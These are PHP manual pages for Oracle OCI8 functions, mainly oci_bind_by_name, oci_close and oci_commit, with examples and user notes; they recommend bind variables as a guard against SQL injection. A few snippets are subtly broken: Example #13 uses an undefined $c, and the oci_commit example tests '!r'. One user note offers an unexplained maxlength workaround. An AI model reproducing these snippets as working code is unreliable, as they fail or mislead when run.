  • « oci_bind_array_by_name
  • oci_cancel »
  • PHP Manual
  • OCI8 Functions
  • Binds a PHP variable to an Oracle placeholder

oci_bind_by_name

(PHP 5, PECL OCI8 >= 1.1.0)

oci_bind_by_name — Binds a PHP variable to an Oracle placeholder

Description

bool oci_bind_by_name ( resource $statement , string $bv_name , mixed &$variable [, int $maxlength = -1 [, int $type = SQLT_CHR ]] )

Binds a PHP variable variable to the Oracle bind variable placeholder bv_name. Binding is important for Oracle database performance and also as a way to avoid SQL Injection security issues.

Binding allows the database to reuse the statement context and caches from previous executions of the statement, even if another user or process originally executed it. Binding reduces SQL Injection concerns because the data associated with a bind variable is never treated as part of the SQL statement. It does not need quoting or escaping.

PHP variables that have been bound can be changed and the statement re-executed without needing to re-parse the statement or re-bind.

In Oracle, bind variables are commonly divided into IN binds for values that are passed into the database, and OUT binds for values that are returned to PHP. A bind variable may be both IN and OUT. Whether a bind variable will be used for input or output is determined at run-time.

You must specify maxlength when using an OUT bind so that PHP allocates enough memory to hold the returned value.

For IN binds it is recommended to set the maxlength length if the statement is re-executed multiple times with different values for the PHP variable. Otherwise Oracle may truncate data to the length of the initial PHP variable value. If you don't know what the maximum length will be, then re-call oci_bind_by_name() with the current data size prior to each oci_execute() call. Binding an unnecessarily large length will have an impact on process memory in the database.

A bind call tells Oracle which memory address to read data from. For IN binds that address needs to contain valid data when oci_execute() is called. This means that the variable bound must remain in scope until execution. If it doesn't, unexpected results or errors such as "ORA-01460: unimplemented or unreasonable conversion requested" may occur. For OUT binds one symptom is no value being set in the PHP variable.

For a statement that is repeatedly executed, binding values that never change may reduce the ability of the Oracle optimizer to choose the best statement execution plan. Long running statements that are rarely re-executed may not benefit from binding. However in both cases, binding might be safer than joining strings into a SQL statement, as this can be a security risk if unfiltered user text is concatenated.

Parameters

statement

A valid OCI8 statement identifer.

bv_name

The colon-prefixed bind variable placeholder used in the statement. The colon is optional in bv_name. Oracle does not use question marks for placeholders.

variable

The PHP variable to be associated with bv_name

maxlength

Sets the maximum length for the data. If you set it to -1, this function will use the current length of variable to set the maximum length. In this case the variable must exist and contain data when oci_bind_by_name() is called.

type

The datatype that Oracle will treat the data as. The default type used is SQLT_CHR. Oracle will convert the data between this type and the database column (or PL/SQL variable type), when possible.

If you need to bind an abstract datatype (LOB/ROWID/BFILE) you need to allocate it first using the oci_new_descriptor() function. The length is not used for abstract datatypes and should be set to -1.

Possible values for type are:

  • SQLT_BFILEE or OCI_B_BFILE - for BFILEs;

  • SQLT_CFILEE or OCI_B_CFILEE - for CFILEs;

  • SQLT_CLOB or OCI_B_CLOB - for CLOBs;

  • SQLT_BLOB or OCI_B_BLOB - for BLOBs;

  • SQLT_RDD or OCI_B_ROWID - for ROWIDs;

  • SQLT_NTY or OCI_B_NTY - for named datatypes;

  • SQLT_INT or OCI_B_INT - for integers;

  • SQLT_CHR - for VARCHARs;

  • SQLT_BIN or OCI_B_BIN - for RAW columns;

  • SQLT_LNG - for LONG columns;

  • SQLT_LBI - for LONG RAW columns;

  • SQLT_RSET - for cursors created with oci_new_cursor();

  • SQLT_BOL or OCI_B_BOL - for PL/SQL BOOLEANs (Requires OCI8 2.0.7 and Oracle Database 12c)

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Inserting data with oci_bind_by_name()

<?php

// Create the table with:
//   CREATE TABLE mytab (id NUMBER, text VARCHAR2(40));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn,"INSERT INTO mytab (id, text) VALUES(:id_bv, :text_bv)");

$id = 1;
$text = "Data to insert     ";
oci_bind_by_name($stid, ":id_bv", $id);
oci_bind_by_name($stid, ":text_bv", $text);
oci_execute($stid);

// Table now contains: 1, 'Data to insert     '

?>

Example #2 Binding once for multiple executions

<?php

// Create the table with:
//   CREATE TABLE mytab (id NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$a = array(1,3,5,7,11);  // data to insert

$stid = oci_parse($conn, 'INSERT INTO mytab (id) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $v, 20);
foreach ($a as $v) {
    $r = oci_execute($stid, OCI_DEFAULT);  // don't auto commit
}
oci_commit($conn); // commit everything at once

// Table contains five rows: 1, 3, 5, 7, 11

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 Binding with a foreach() loop

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT * FROM departments WHERE department_name = :dname AND location_id = :loc';
$stid = oci_parse($conn, $sql);

$ba = array(':dname' => 'IT Support', ':loc' => 1700);

foreach ($ba as $key => $val) {

    // oci_bind_by_name($stid, $key, $val) does not work
    // because it binds each placeholder to the same location: $val
    // instead use the actual location of the data: $ba[$key]
    oci_bind_by_name($stid, $key, $ba[$key]);
}

oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
foreach ($row as $item) {
    print $item."<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 Binding in a WHERE clause

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE department_id = :didbv ORDER BY last_name';
$stid = oci_parse($conn, $sql);
$didbv = 60;
oci_bind_by_name($stid, ':didbv', $didbv);
oci_execute($stid);
while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
    echo $row['LAST_NAME'] ."<br>\n";
}

// Output is
//    Austin
//    Ernst
//    Hunold
//    Lorentz
//    Pataballa

oci_free_statement($stid);
oci_close($conn);

?>

Example #5 Binding with a LIKE clause

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// Find all cities that begin with 'South'
$stid = oci_parse($conn, "SELECT city FROM locations WHERE city LIKE :bv");
$city = 'South%';  // '%' is a wildcard in SQL
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
    print $c . "<br>\n";
}
// Output is
//   South Brunswick
//   South San Francisco
//   Southlake

oci_free_statement($stid);
oci_close($conn);

?>

Example #6 Binding with REGEXP_LIKE

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// Find all cities that contain 'ing'
$stid = oci_parse($conn, "SELECT city FROM locations WHERE REGEXP_LIKE(city, :bv)");
$city = '.*ing.*';
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
    print $c . "<br>\n";
}
// Output is
//   Beijing
//   Singapore

oci_free_statement($stid);
oci_close($conn);

?>

For a small, fixed number of IN clause conditions, use individual bind variables. Values unknown at run time can be set to NULL. This allows a single statement to be used by all application users, maximizing Oracle DB cache efficiency.

Example #7 Binding Multiple Values in an IN Clause

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE employee_id in (:e1, :e2, :e3)';
$stid = oci_parse($conn, $sql);
$mye1 = 103;
$mye2 = 104;
$mye3 = NULL; // pretend we were not given this value
oci_bind_by_name($stid, ':e1', $mye1);
oci_bind_by_name($stid, ':e2', $mye2);
oci_bind_by_name($stid, ':e3', $mye3);
oci_execute($stid);
oci_fetch_all($stid, $res);
foreach ($res['LAST_NAME'] as $name) {
    print $name ."<br>\n";
}

// Output is
//   Ernst
//   Hunold

oci_free_statement($stid);
oci_close($conn);

?>

Example #8 Binding a ROWID returned by a query

<?php

// Create the table with:
//   CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
//   INSERT INTO mytab (id, salary, name) VALUES (1, 100, 'Chris');
//   COMMIT;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT ROWID, name FROM mytab WHERE id = :id_bv FOR UPDATE');
$id = 1;
oci_bind_by_name($stid, ':id_bv', $id);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
$rid = $row['ROWID'];
$name = $row['NAME'];

// Change name to upper case & save the changes
$name = strtoupper($name);
$stid = oci_parse($conn, 'UPDATE mytab SET name = :n_bv WHERE ROWID = :r_bv');
oci_bind_by_name($stid, ':n_bv', $name);
oci_bind_by_name($stid, ':r_bv', $rid, -1, OCI_B_ROWID);
oci_execute($stid);

// The table now contains 1, 100, CHRIS

oci_free_statement($stid);
oci_close($conn);

?>

Example #9 Binding a ROWID on INSERT

<?php

// This example inserts an id & name, and then updates the salary
// Create the table with:
//   CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
//
// Based on original ROWID example by thies at thieso dot net (980221)

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = "INSERT INTO mytab (id, name) VALUES(:id_bv, :name_bv)
        RETURNING ROWID INTO :rid";

$ins_stid = oci_parse($conn, $sql);

$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_bind_by_name($ins_stid, ":id_bv",   $id,    10);
oci_bind_by_name($ins_stid, ":name_bv", $name,  32);
oci_bind_by_name($ins_stid, ":rid",     $rowid, -1, OCI_B_ROWID);

$sql = "UPDATE mytab SET salary = :salary WHERE ROWID = :rid";
$upd_stid = oci_parse($conn, $sql);
oci_bind_by_name($upd_stid, ":rid", $rowid, -1, OCI_B_ROWID);
oci_bind_by_name($upd_stid, ":salary", $salary,   32);

// ids and names to insert
$data = array(1111 => "Larry",
              2222 => "Bill",
              3333 => "Jim");

// Salary of each person
$salary = 10000;

// Insert and immediately update each row
foreach ($data as $id => $name) {
    oci_execute($ins_stid);
    oci_execute($upd_stid);
}

$rowid->free();
oci_free_statement($upd_stid);
oci_free_statement($ins_stid);

// Show the new rows
$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid);
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    var_dump($row);
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #10 Binding for a PL/SQL stored function

<?php

//  Before running the PHP program, create a stored function in
//  SQL*Plus or SQL Developer:
//
//  CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
//  BEGIN
//      RETURN p * 3;
//  END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);

// The return value is an OUT bind. The default type will be a string
// type so binding a length 40 means that at most 40 digits will be
// returned.
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n";   // prints 24

oci_free_statement($stid);
oci_close($conn);

?>

Example #11 Binding parameters for a PL/SQL stored procedure

<?php

//  Before running the PHP program, create a stored procedure in
//  SQL*Plus or SQL Developer:
//
//  CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
//  BEGIN
//      p2 := p1 * 2;
//  END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);

// The second procedure parameter is an OUT bind. The default type
// will be a string type so binding a length 40 means that at most 40
// digits will be returned.
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n";   // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

Example #12 Binding a CLOB column

<?php

// Before running, create the table:
//     CREATE TABLE mytab (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$mykey = 12343;  // arbitrary key for this example;

$sql = "INSERT INTO mytab (mykey, myclob)
        VALUES (:mykey, EMPTY_CLOB())
        RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_DEFAULT);
$clob->save("A very long string");

oci_commit($conn);

// Fetching CLOB data

$query = 'SELECT myclob FROM mytab WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) {
    print '<tr><td>'.$row['MYCLOB'].'</td></tr>';
    // In a loop, freeing the large variable before the 2nd fetch reduces PHP's peak memory usage
    unset($row);
}
print '</table>';

?>

Example #13 Binding a PL/SQL BOOLEAN

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$plsql =
  "begin
    :output1 := true;
    :output2 := false;
   end;";

$s = oci_parse($c, $plsql);
oci_bind_by_name($s, ':output1', $output1, -1, OCI_B_BOL);
oci_bind_by_name($s, ':output2', $output2, -1, OCI_B_BOL);
oci_execute($s);
var_dump($output1);  // true
var_dump($output2);  // false

?>

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

Do not use magic_quotes_gpc or addslashes() and oci_bind_by_name() simultaneously as no quoting is needed. Any magically applied quotes will be written into your database because oci_bind_by_name() inserts data verbatim and does not remove quotes or escape characters.

Note:

If you bind a string to a CHAR column in a WHERE clause, remember that Oracle uses blank-padded comparison semantics for CHAR columns. Your PHP variable should be blank padded to the same width as the column for the WHERE clause to succeed.

Note:

The PHP variable argument is a reference. Some forms of loops do not work as expected:

<?php
foreach ($myarray as $key => $value)  {
    oci_bind_by_name($stid, $key, $value);
}
?>

This binds each key to the location of $value, so all bound variables end up pointing to the last loop iteration's value. Instead use the following:

<?php
foreach ($myarray as $key => $value) {
    oci_bind_by_name($stid, $key, $myarray[$key]);
}
?>

See Also

  • oci_bind_array_by_name() - Binds a PHP array to an Oracle PL/SQL array parameter
  • oci_parse() - Prepares an Oracle statement for execution

User Contributed Notes

xorinox at gmx dot ch 23-Sep-2014 11:54
Working with Oracle and raw types in and out worked like the following for me.

<?php
  /*oracle procedure
  procedure open_session(
    i_instance_id in raw,
    o_session_id out raw,
    o_errcode out number,
    o_errmsg out varchar2
  );
  */

  //open database
  $conn = DBOpen( DB_DEV_USER );

  //get session id
  $sql = "begin p_loader.open_session( hextoraw( :instance_id ), :session_id, :errcode, :errmsg ); end;";
  $stmt = oci_parse( $conn, $sql );
  $instanceId = DB_INSTANCE_ID;
  oci_bind_by_name( $stmt, ":instance_id", $instanceId, 1, SQLT_CHR );
  oci_bind_by_name( $stmt, ":session_id", $sessionId, 16, SQLT_BIN );
  oci_bind_by_name( $stmt, ":errcode", $errcode, 12, SQLT_INT );
  oci_bind_by_name( $stmt, ":errmsg", $errmsg, 4000, SQLT_CHR );

  oci_execute( $stmt );
  $sessionId = bin2hex( $sessionId ); //now this is a hex string

  //close database
  DBClose( $conn );
?>
jjeffman at cpovo.net 18-Apr-2014 01:02
It is very important to set up the maxlength of the returning parameter (:r), even when it is returning a number, otherwise the ORA-01460 exception (unimplemented or unreasonable conversion requested) may be raised.
abiyi2000 at yahoo dot com 25-Sep-2011 05:03
I unfortunately spent the whole day trying to make this work as part of OCI bind_by_name insert:

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  -1, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

The string field is always inserting correctly w/o any truncation. The string field is a  varchar2(160) CHAR, but the data used to populate it is 40 chars in length.

The numeric part is of Type Number in the database which is being used to store unix time (10 digit seconds since 1970/01/01.

The problem, the insert was truncating to 9 digits with some bogus value not even related to the input i.e., it's not just a matter of dropping the leftmost or rightmost digit, it'll just insert a 9 digit bogus number.

The only way I was able to resolve this for the numeric field was to set the maxlength to 8 (not 10 which is the number of digits in the input):

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  8, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

Hopefully you'll see this soon before you expend a lot of time repeating the same problem I had.
adrian dot crossley at hesa dot ac dot uk 20-Jul-2009 03:14
Sometimes you get the error "ORA-01461: can bind a LONG value only for insert into a LONG column".  This error is highly misleading especially when you have no LONG columns or LONG values.

From my testing it seems this error can be caused when the value of a bound variable exceeds the length allocated.

To avoid this error make sure you specify lengths when binding varchars e.g.
<?php
oci_bind_by_name($stmt,':string',$string, 256);
?>

And for numerics use the default length (-1) but tell oracle its an integer e.g.
<?php
oci_bind_by_name($stmt,':num',$num, -1, SQLT_INT);
?>
avenger at php dot net 20-Feb-2009 12:54
Dont forget the 5th parameter: $type. It's will slowly your code some times. Eg:

<?php
$sql = "select * from (select * from b xxx) where rownum < :rnum";
$stmt = OCIParse($conn,$sql);
OCIBindByName($stmt, ":rnum", $NUM, -1);
OCIExecute($stmt);
?>

Below code was slow 5~6 time than not use bind value.Change the 3rd line to:

<?php
OCIBindByName($stmt, ":rnum", $NUM, -1, SQLT_INT);
?>

will resloved this problem.

This issue is also in the ADODB DB class(adodb.sf.net), you will be careful for use the SelectLimit method.
ajitsingh4u at gmail dot com 09-May-2008 06:39
//Calling Oracle Stored Procedure
//I assume that you have a users table and three columns in users table i.e. id, user, email in oracle
// For example I made connection in constructor, you can modify as per your requirement.
//http://www.devshed.com/c/a/PHP/Understanding-Destructors-in-PHP-5/1/
<?php
class Users{
    private $connection;

    public function __construct()
    {
        $this->connection = oci_connect("scott", "tiger", $db); // Establishes a connection to the Oracle server;
    }

    public function selectUsers($start_index=1, $numbers_of_rows=20)
    {
        $sql ="BEGIN sp_users_select(:p_start_index, :p_numbers_of_rows, :p_cursor, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        //Bind in parameter
        oci_bind_by_name($stmt, ':p_start_index', $start_index, 20);
        oci_bind_by_name($stmt, ':p_numbers_of_rows', $numbers_of_rows, 20);

        //Bind out parameter
        oci_bind_by_name($stmt, ':p_result', $result, 20); // returns 0 if stored procedure succeessfully executed.

        //Bind Cursor
        $p_cursor = oci_new_cursor($this->connection);
        oci_bind_by_name($stmt, ':p_cursor', $p_cursor, -1, OCI_B_CURSOR);

        // Execute Statement
        oci_execute($stmt);
        oci_execute($p_cursor, OCI_DEFAULT);

        oci_fetch_all($p_cursor, $cursor, null, null, OCI_FETCHSTATEMENT_BY_ROW);

        echo $result;
        echo '<br>';
        var_dump($cursor); // $cursor is an associative array so we can use print_r() to print this data.
        // you can return data from this function to use it at your user interface.
    }

    public function deleteUser($id)
    {
        $sql ="BEGIN sp_user_delete(:p_id, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        // bind in and out variables
        oci_bind_by_name($stmt, ':p_id', $id, 20);
        oci_bind_by_name($stmt, ':p_result', $result, 20);

        //Execute the statement
        $check = oci_execute($stmt);

        if($check == true)
        $commit = oci_commit($this->connection);
        else
        $commit = oci_rollback($this->connection);

        return $result;
    }

    // You can make function for insert ,update using above two functions

}
?>
08-May-2007 10:59
This is what the old OCI_B_* constants are now called:
(PHP 5.1.6 win32)

OCI_B_NTY - SQLT_NTY
OCI_B_BFILE - SQLT_BFILEE
OCI_B_CFILEE - SQLT_CFILEE
OCI_B_CLOB - SQLT_CLOB
OCI_B_BLOB - SQLT_BLOB
OCI_B_ROWID - SQLT_RDD
OCI_B_CURSOR - SQLT_RSET
OCI_B_BIN - SQLT_BIN
OCI_B_INT - SQLT_INT
OCI_B_NUM - SQLT_NUM
Chris Delcamp 11-Jan-2007 05:48
This is an example of returning the primary key from an insert so that you can do inserts on other tables with foreign keys based on that value.  The date is just used to provied semi-unique data to be inserted.

$conn = oci_connect("username", "password")
$stmt = oci_parse($conn, "INSERT INTO test (test_msg) values (:data) RETURN test_id INTO :RV");
$data = date("d-M-Y H:i:s");
oci_bind_by_name($stmt, ":RV", $rv, -1, SQLT_INT);
oci_bind_by_name($stmt, ":data", $data, 24);
oci_execute($stmt);
print $rv;
hfuecks at nospam dot org 16-Aug-2005 10:12
Note that there have been some changes on the constant identifiers and the documentation is currently not entirely accurate.

Running the following script;

<?php
foreach (array_keys(get_defined_constants()) as $const) {
    if ( preg_match('/^OCI_B_/', $const) ) {
        print "$const\n";
    }
}
?>

Under PHP 4.4.0 I get;

OCI_B_SQLT_NTY < renamed to OCI_B_NTY with PHP5
OCI_B_BFILE
OCI_B_CFILEE
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN

Under PHP 5.0.4 I get;

OCI_B_NTY
OCI_B_BFILE < docs are wrong right now
OCI_B_CFILEE < docs are wrong right now
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN < it's a mystery


Cancels reading from cursor

  • « oci_bind_by_name
  • oci_client_version »
  • PHP Manual
  • OCI8 Functions
  • Cancels reading from cursor

oci_cancel

(PHP 5, PECL OCI8 >= 1.1.0)

oci_cancel — Cancels reading from cursor

Description

bool oci_cancel ( resource $statement )

Invalidates a cursor, freeing all associated resources and cancels the ability to read from it.

Parameters

statement

An OCI statement.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the Oracle client library version

  • « oci_cancel
  • oci_close »
  • PHP Manual
  • OCI8 Functions
  • Returns the Oracle client library version

oci_client_version

(PHP 5.3.7, PECL OCI8 >= 1.4.6)

oci_client_version — Returns the Oracle client library version

Description

string oci_client_version ( void )

Returns a string containing the version number of the Oracle C client library that PHP is linked with.

Parameters

None

Return Values

Returns the version number as a string.

Examples

Example #1 oci_client_version() example

<?php
    echo "Client Version: " . oci_client_version(); // Client version: 11.2.0.2
?>

Notes

Note:

Oracle libraries before 10gR2 do not have the underlying functionality to get the client library version number. The string "Unknown" will be returned in this case.

See Also

  • oci_server_version() - Returns the Oracle Database version

User Contributed Notes

There are no user contributed notes for this page.


Closes an Oracle connection

  • « oci_client_version
  • oci_commit »
  • PHP Manual
  • OCI8 Functions
  • Closes an Oracle connection

oci_close

(PHP 5, PECL OCI8 >= 1.1.0)

oci_close — Closes an Oracle connection

Description

bool oci_close ( resource $connection )

Unsets connection. The underlying database connection is closed if no other resources are using it and if it was created with oci_connect() or oci_new_connect().

It is recommended to close connections that are no longer needed because this makes database resources available for other users.

Parameters

connection

An Oracle connection identifier returned by oci_connect(), oci_pconnect(), or oci_new_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a connection

Resources associated with a connection should be closed to ensure the underlying database connection is properly terminated and the database resources are released.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments');
$r = oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

// Free the statement identifier when closing the connection
oci_free_statement($stid);
oci_close($conn);

?>

Example #2 Database connections are not closed until all references are closed

The internal refcount of a connection identifier must be zero before the underlying connection to the database is closed.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments');  // this increases the refcount on $conn
oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

oci_close($conn);

// $conn is no long usable in the script but the underlying database
// connection is still held open until $stid is freed.
var_dump($conn);  // prints NULL

// While PHP sleeps, querying the Oracle V$SESSION view in a
// terminal window will show that the database user is still connected.
sleep(10);

// When $stid is freed, the database connection is physically closed
oci_free_statement($stid);

// While PHP sleeps, querying the Oracle V$SESSION view in a
// terminal window will show that the database user has disconnected.
sleep(10);

?>

Example #3 Closing a connection opened more than once

When database credentials are reused, both connections must be closed before the underlying database connection is closed.

<?php

$conn1 = oci_connect('hr', 'welcome', 'localhost/XE');

// Using the same credentials reuses the same underlying database connection
// Any uncommitted changes done on $conn1 will be visible in $conn2
$conn2 = oci_connect('hr', 'welcome', 'localhost/XE');

// While PHP sleeps, querying the Oracle V$SESSION view in a
// terminal window will show that only one database user is connected.
sleep(10);

oci_close($conn1); // doesn't close the underlying database connection
var_dump($conn1);  // prints NULL because the variable $conn1 is no longer usable
var_dump($conn2);  // displays that $conn2 is still a valid connection resource

?>

Example #4 Connections are closed when variables go out of scope

When all variables referencing a connection go out of scope and are freed by PHP, a rollback occurs (if necessary) and the underlying connection to the database is closed.

<?php

function myfunc() {
    $conn = oci_connect('hr', 'hrpwd', 'localhost/XE');
    if (!$conn) {
        $e = oci_error();
        trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
    }

    $stid = oci_parse($conn, 'UPDATE mytab SET id = 100');
    oci_execute($stid, OCI_NO_AUTO_COMMIT);
    return "Finished";
}

$r = myfunc();
// At this point a rollback occurred and the underlying database connection was released.

print $r;  // displays the function return value "Finished"

?>

Notes

Note:

Variables that have a dependency on the connection identifier, such as statement identifiers returned by oci_parse(), must also be freed before the underlying database connection is closed.

Note:

Prior to version PHP 5.1.2 (PECL OCI8 1.1) oci_close() was a no-op. In more recent versions it correctly closes the Oracle connection. Use oci8.old_oci_close_semantics option to restore old behavior of this function.

Note:

The oci_close() function does not close the underlying database connections created with oci_pconnect().

See Also

  • oci_connect() - Connect to an Oracle database
  • oci_free_statement() - Frees all resources associated with statement or cursor

User Contributed Notes

Fahd Alwashmi (F-A-W) 10-Mar-2012 05:22
please note, you can use oci_close() to close persistent connections opened with oci_pconnect() in PHP ver 5.3 or above.
as stated in here:
http://www.php.net/manual/en/oci8.configuration.php#ini.oci8.persistent-timeout
yepster at hotmail dot com 16-Feb-2002 07:21
For using persistent connections && being able to sleep, I use:

function close_db_locks_on_abort( ) {
    global $conn;
    if( connection_aborted() ) {
        $fp = fopen( "/tmp/shutdown-func.txt", "a" );
        fwrite( $fp, sprintf( "connection aborted on %s\n", date( "d-m-Y H:i:s" ) ) );
        if( $conn ) {
            OCIRollBack( $conn );
            fwrite( $fp, sprintf( "-- DURING CONNECTION! ip=%s, user=%s, page=%s\n", $_SERVER["REMOTE_ADDR"], $_SERVER["PHP_AUTH_USER"], $_SERVER["SCRIPT_FILENAME"] ) );
        }
        fclose( $fp );
    }
}

register_shutdown_function ( "close_db_locks_on_abort" );

This makes sure a rollback is done on a connection when a user hits 'stop', so there will be no locks on table rows.


Commits the outstanding database transaction

  • « oci_close
  • oci_connect »
  • PHP Manual
  • OCI8 Functions
  • Commits the outstanding database transaction

oci_commit

(PHP 5, PECL OCI8 >= 1.1.0)

oci_commit — Commits the outstanding database transaction

Description

bool oci_commit ( resource $connection )

Commits the outstanding transaction for the Oracle connection. A commit ends the current transaction and makes permanent all changes. It releases all locks held.

A transaction begins when the first SQL statement that changes data is executed with oci_execute() using the OCI_NO_AUTO_COMMIT flag. Further data changes made by other statements become part of the same transaction. Data changes made in a transaction are temporary until the transaction is committed or rolled back. Other users of the database will not see the changes until they are committed.

When inserting or updating data, using transactions is recommended for relational data consistency and for performance reasons.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_commit() example

<?php

// Insert into several tables, rolling back the changes if an error occurs

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// The OCI_NO_AUTO_COMMIT flag tells Oracle not to commit the INSERT immediately
// Use OCI_DEFAULT as the flag for PHP <= 5.3.1.  The two flags are equivalent
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    oci_rollback($conn);  // rollback changes to both tables
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// Commit the changes to both tables
$r = oci_commit($conn);
if (!r) {
    $e = oci_error($conn);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

Notes

Note:

Transactions are automatically rolled back when you close the connection, or when the script ends, whichever is soonest. You need to explicitly call oci_commit() to commit the transaction.

Any call to oci_execute() that uses OCI_COMMIT_ON_SUCCESS mode explicitly or by default will commit any previous uncommitted transaction.

Any Oracle DDL statement such as CREATE or DROP will automatically commit any uncommitted transaction.

See Also

  • oci_execute() - Executes a statement
